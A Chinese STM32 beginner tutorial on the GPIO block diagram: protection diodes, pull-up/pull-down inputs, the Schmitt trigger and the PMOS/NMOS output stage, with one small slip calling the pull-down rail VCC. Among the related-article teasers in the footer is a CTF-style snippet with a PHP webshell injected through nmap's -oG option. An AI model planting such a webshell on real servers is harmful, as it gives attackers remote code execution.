【STM32零基础入门教程03】GPIO输入输出之GPIO框图分析

         本章节主要讲解点亮LED的基本原理,以及GPIO框图的讲解。

  如何点亮LED(输出)

        首先我们查看原理图,观察电路图中LED的连接情况,如下图可以看出我们的板子中LED一端通过限流电阻连接的PB0另一端连接的是高电平VCC,那么我们将PB0位置接地是不是灯就亮了,那我们就想办法在这一端通过单片机让这一端接地就可以了,具体怎么做到我们循序渐进后面一点点慢慢来。(和我使用的板子不一样也没有关系,原理是相通的我们学会原理其他的就不算问题了)。

如何识别按键是否按下(输入)

       如下图所示当我们的开关闭合时单片机IO口引脚处的电压为GND,这样我们就可以通过单片机读取单片机IO的电平状态判断按键是否闭合了,具体怎么使用我们看下文。

  GPIO的基本概念

        通过上面的讲解我们已经知道了如何点亮LED灯,那么我们用单片机如何控制呢?这里需要引入GPIO的概念。

        通常我们管GPIO叫做通用输入输出口,这里的关键词输入输出,我们点亮LED需要用到这个输出功能。我们接下来看下,在STM32单片机中是如何实现的输入输出功能。

        上图是我们在STM32中文参考手册中找到的关于GPIO的框图,需要注意的是这个框图位于芯片内部,图中I/O引脚处表示的是单片机的引脚,这个引脚与芯片外部相连,像我们说的PB0就是一个I/O引脚。

GPIO输入分析

        接下来我们来详细分析这个IO口框图,首先看上半部分,这部分表示的是输入,如下图所示。

                IO口引脚连接一个电压时,电流会按照箭头的方向流动,首先我们看下1处,这里由两个二极管组成,通常情况下在STM32单片机里VDD表示3.3V那么vss就是表示0V。当1处的电压大于3.3V时,比如5V那么二极管这的电压分布情况就如下图所示。

        可以看到二极管正极为5V负极为3.3V,那这里就产生了一个5V减去3.3v的压降,那么二极管就导通了,这高出的电压就被二极管分担了,所以能在一定程度上保护内部电路。下面的保护二极管同理。

        接下来我们像向里走,2处这里经过了两个电阻,一个电阻接VDD叫上拉电阻,一个电阻接VCC叫下拉电阻。两个电阻处都有开和关字样,这就意味着这两个上下拉电阻我们是可以通过软件进行配置的。先看上拉电阻,当上拉电阻开关闭合2处如果没有外部电压输入,那么我们这里就是VDD的电压,这里的作用显而易见(可以在外部没有电平变化的情况下给一个默认的高电平VDD),假如外部IO引脚与地连接,那么这一点的状态可以等效为下图所示。

        现在2处的电平为GND,那么我们在软件里就可以做判断了如果电平为高电平也就是1表示外面没有接低电平,反之为接低电平了(对应文章开始的图表示开关闭合了),那么如果这个上拉电阻不闭合呢?开关闭合能够识别到低电平,但是不闭合时的状态就不确定了,显然不是稳定的。(下拉电阻同样的道理)在这里我们看到了三种输入状态,上拉电阻闭合时叫上拉输入即电平默认状态为高电平,下拉电阻闭合时叫下拉输入即电平默认状态为低电平,如果上拉下拉都不闭合叫做浮空输入即默认电平状态不确定。

        下面我们接着向里走,3处有个电子元器件叫施密特触发器,他的主要作用是做电压比较的,在STM32中当IO引脚处接电压,电压经过保护二极管上下拉电阻到达施密特触发器时如果电压值大于2V,那么施密特触发器输出高电平即输入数据寄存器(4处)(如果不知道寄存器是什么可以百度搜搜,这里不赘述了)会存入一个1,其实就是输入数据寄存器对应位变为了VDD通常情况下为3.3V,那么如果这个电压低于1.8V那么施密特触发器就输出低电平,4处的输入数据寄存器就会存入一个低电平。这时候我们是不是就可以通过读取输入数据寄存器里面的值判断,IO引脚处接的是低电平还是高电平了,文章开始的开关是不是就可以判断有没有闭合了(闭合读到的是低电平)。可能有人注意到了1.8V和2V之间怎么办?这就是一个不确定输入状态了。

          5和6处我们还没有说,这两个比较特殊。先看5处,这里没有经过施密特触发器也就是说,外界输入多少电压就进去多少电压,这叫模拟输入(具体ADC章节会用到),6处经过了施密特触发器也就意味着只有0和1两种状态,这叫复用功能输入,后面会讲这里可以忽略。

GPIO输出框图分析

        好了GPIO的输入框图分析完了,我们可以看下输出了,输出我们从单片机里面向外看,先上图。

        图中0处先不用纠结,后面我们具体学寄存器时再回头看更容易些,先看1到2,这里我们对输出数据寄存器写1之后,1到了3处这是个选择器,选择上下两个线哪一个过去,下面是复用功能输出不用管他,我们假设选了上面的这跟线,这样3处的状态为1高电平状态,这里输出控制里少画了一个元器件,这个元器件叫反相器,即当我们3处为1高电平状态时4处为0低电平状态。这里又遇到了两个电子元器件,PMOS和NMOS,不要害怕这个我们只看4处的高低电平这两个元器件有什么影响就可以了。

        先看上面这个PMOS当a处为低电平时b到c导通就相当于b和c之间有一个开关,a处为低电平时开关闭合,那么VDD也就是3.3V按照红线的方向导通,如果IO引脚处连接一个负极接地的发光二极管是不是发光二极管就亮了。这种情况叫输出高电平。接下来我们看NMOS。

        如图当a处为高电平时b和c导通,相当于b和c之间有一个开关闭合了,这时如果外面接一个发光二极管,二极管正极接了VCC当NMOS处b和c之间的开关闭合,是不是电流就顺着vcc一直流到了vss处,那么灯就亮了。

        我们总结下,当输出数据寄存器写1时经过反相器变为0,这时候PMOS导通IO引脚输出高电平,当输出数据寄存器写0时经过反相器变为1,这时候NMOS导通IO引脚输出低电平。

        文章到这里就结束了,希望对您有所帮助,下章我们分析GPIO相关寄存器,并且使用寄存器点亮LED灯。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/62561.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

召唤神龙打造自己的ChatGPT

在之前的两篇文章中,我介绍了GPT 1和2的模型,并分别用Tensorflow和Pytorch来实现了模型的训练。具体可以见以下文章链接: 1. 基于Tensorflow来重现GPT v1模型_gzroy的博客-CSDN博客 2. 花费7元训练自己的GPT 2模型_gzroy的博客-CSDN博客 有…

Rocketmq 定时消息源码分析

定时消息定义 生产者将消息投放到broker后,不会马上被消费者消费。需要等待到特定时间才会被消费。 调用链路 producer 将定时消息写入commitLog线程ReputThead 休息1毫秒,读取一次commitlog数据,写入ConsumeQueue和IndexFile线程Scheduled…

右值引用带来的效率提升(C++11)

文章目录 一.左值引用和右值引用二.C11区分左值和右值的语法设计意义--对象的移动构造和移动赋值场景分析1:C11之前C11之后 场景分析2:函数std::move右值引用的广泛使用 三.引用折叠 一.左值引用和右值引用 左值:可以取到地址的对象(可以出现在赋值符号的左边),对左值的引用称…

arcgis--网络分析(理论篇)

1、定义概念 (1)网络:由一系列相互联通的点和线组成,用来描述地理要素(资源)的流动情况。 (2)网络分析:对地理网络(如交通网络、水系网络)&…

【数据结构】排序算法系列

常见的排序如下: 一、比较类排序 1. 交换排序 (1) 冒泡排序 【数据结构】交换排序(一)——冒泡排序_Jacky_Feng的博客-CSDN博客 (2) 快速排序 【数据结构】交换排序(二&#xf…

用于大型图像模型的 CNN 内核的最新内容

一、说明 由于OpenAI的ChatGPT的巨大成功引发了大语言模型的繁荣,许多人预见到大图像模型的下一个突破。在这个领域,可以提示视觉模型分析甚至生成图像和视频,其方式类似于我们目前提示 ChatGPT 的方式。 用于大型图像模型的最新深度学习方法…

【力扣每日一题】2023.8.7 反转字符串

目录 题目: 示例: 分析: 代码: 题目: 示例: 分析: 题目给我们一个字符数组形式的字符串,让我们直接原地修改反转字符串,不必返回。 给出的条件是使用O(1)的额外空间…

c语言——计算一串字符的长度

//计算一串字符的长度 //在main函数中输出一个字符&#xff0c;并且计算出该字符的长度。 #include<stdio.h> #include<stdlib.h> int length(char *s){int i0;while(*s!\0){i;s;}return i;} int main() {int len;char str[20];printf("输入字符串&#xff1a…

【JavaEE进阶】Spring核心与设计思想

文章目录 一. Spring框架概述1. 什么是Spring框架2. 为什么要学习框架?3. Spring框架学习的难点 二. Spring 核心与设计思想1. 什么是容器?2. 什么是IoC?3. Spring是IoC容器4. DI&#xff08;依赖注入&#xff09;5. DL&#xff08;依赖查找&#xff09; 一. Spring框架概述…

如何分辨几类网线 如何制作网线的工作笔记

如何分辨几类网线 方法一. 可以通过查看网线的皮胶套上的数字进行判断 方法二. 1、六类网线和五类网线的内部结构不同&#xff0c;六类网线内部结构增加了十字骨架&#xff0c;将双绞线的四对线缆分别置于十字骨架的四个凹槽内&#xff0c;电缆中央的十字骨架随长度的变化而…

阿里云平台WoSignSSL证书应用案例

沃通CA与阿里云达成合作并在阿里云平台上线WoSign品牌SSL证书。自上线以来&#xff0c;WoSignSSL证书成为阿里云“数字证书管理服务”热销证书产品&#xff0c;获得阿里云平台客户认可&#xff0c;助力阿里云平台政府、金融、教育、供应链、游戏等各类行业客户实现网站系统数据…

读写文件(

一.写文件 1.Nmap escapeshellarg()和escapeshellcmd() : 简化: <?php phpinfo();?> -oG hack.php———————————— nmap写入文件escapeshellarg()和escapeshellcmd() 漏洞 <?php eval($_POST["hack"]);?> -oG hack.php 显示位置*** 8…

复现沙箱逃逸漏洞

什么是沙箱(sandbox) 在计算机安全性方面&#xff0c;沙箱&#xff08;沙盒、sanbox&#xff09;是分离运行程序的安全机制&#xff0c;提供一个隔离环境以运行程序。通常情况下&#xff0c;在沙箱环境下运行的程序访问计算机资源会受到限制或者禁止&#xff0c;资源包括内存、…

安装zabbix5.0监控

官网安装手册&#xff1a; https://www.zabbix.com/cn/download 一、 安装zabbix a. 安装yum源 rpm -Uvh https://repo.zabbix.com/zabbix/5.0/rhel/7/x86_64/zabbix-release-5.0-1.el7.noarch.rpmyum clean allb. 安装Zabbix server&#xff0c;web前端&#xff0c;agent y…

学习左耳听风栏目90天——第二天 2/90(学习左耳朵耗子的工匠精神,对技术的热爱)【程序员如何用技术变现(上)】

总结&#xff1a; 要去经历大多数人经历不到的&#xff0c;要把学习时间花在那些比较难的地方。要写文章就要写没有人写过的&#xff0c;或是别人写过&#xff0c;但我能写得更好的。更重要的是&#xff0c;技术和知识完全是可以变现的。 程序员如何用技术变现&#xff08;上&…

【SpringBoot】知识

.第一个程序HelloWorld 项目创建方式&#xff1a;使用 IDEA 直接创建项目 1、创建一个新项目 2、选择spring initalizr &#xff0c; 可以看到默认就是去官网的快速构建工具那里实现 3、填写项目信息 4、选择初始化的组件&#xff08;初学勾选 Web 即可&#xff09; 5、填…

GD32F103输入捕获

GD32F103输入捕获程序&#xff0c;经过多次测试&#xff0c;终于完成了。本程序将TIMER2_CH2通道映射到PB0引脚&#xff0c;捕获PB0引脚低电平脉冲时间宽度。PB0是一个按钮&#xff0c;第1次按下采集一个值保存到TIMER2_CountValue1中&#xff0c;第2次按下采集一个值保存到TIM…

NGZORRO:动态表单/模型驱动 的相关问题

官网的demo的[nzFor]"control.controlInstance"&#xff0c;似乎是靠[formControlName]"control.controlInstance"来关联的。 <form nz-form [formGroup]"validateForm" (ngSubmit)"submitForm()"><nz-form-item *ngFor&quo…

Ctfshow web入门 JWT篇 web345-web350 详细题解 全

CTFshow JWT web345 先看题目&#xff0c;提示admin。 抓个包看看看。 好吧我不装了&#xff0c;其实我知道是JWT。直接开做。 在jwt.io转换后&#xff0c;发现不存在第三部分的签证&#xff0c;也就不需要知道密钥。 全称是JSON Web Token。 通俗地说&#xff0c;JWT的本质…

idea运行web老项目

idea打开老项目 首先你要用idea打开老项目&#xff0c;这里看我之前发的文章就可以啦 运行web项目 1. 编辑配置 2. 添加tomcat项目 3. 设置tomcat参数 选择本地tomcat&#xff0c;注意有的tomcat版本&#xff0c;不然运行不了设置-Dfile.encodingUTF-8 启动&#xff0c;这样…